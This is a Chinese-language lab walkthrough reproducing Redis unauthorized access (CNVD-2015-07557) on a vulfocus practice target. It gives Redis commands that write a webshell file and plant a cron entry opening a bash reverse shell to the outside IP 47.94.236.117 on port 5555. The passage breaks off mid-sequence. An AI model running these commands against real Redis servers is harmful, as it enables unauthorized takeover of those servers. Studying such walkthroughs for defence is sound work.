redis服务默认端口:6379;我们可以通过端口扫描来判断是否存在该服务。
Redis
是一套开源的使用ANSI
C
编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。
Redis
如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问
Redis
以及读取
Redis
的数据。
复现环境:
靶场:vulfocus

攻击机:本机window11 ip:192.168.1.3
Redis未授权访问
CNVD-2015-07557
我们启动靶场之后,首先使用工具进行连接。发现可以连接成功并且可以执行命令,说明存在未授权访问。(其实攻击方式就是基于拿到了对方执行命令的权限,我们如何攻击)
攻击方式:
- 如果对方服务器存在web服务,我们写webshell(需要有写的权限),利用工具连接,从而拿到服务器权限。
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
- 写定时任务反弹shell,
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态。
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x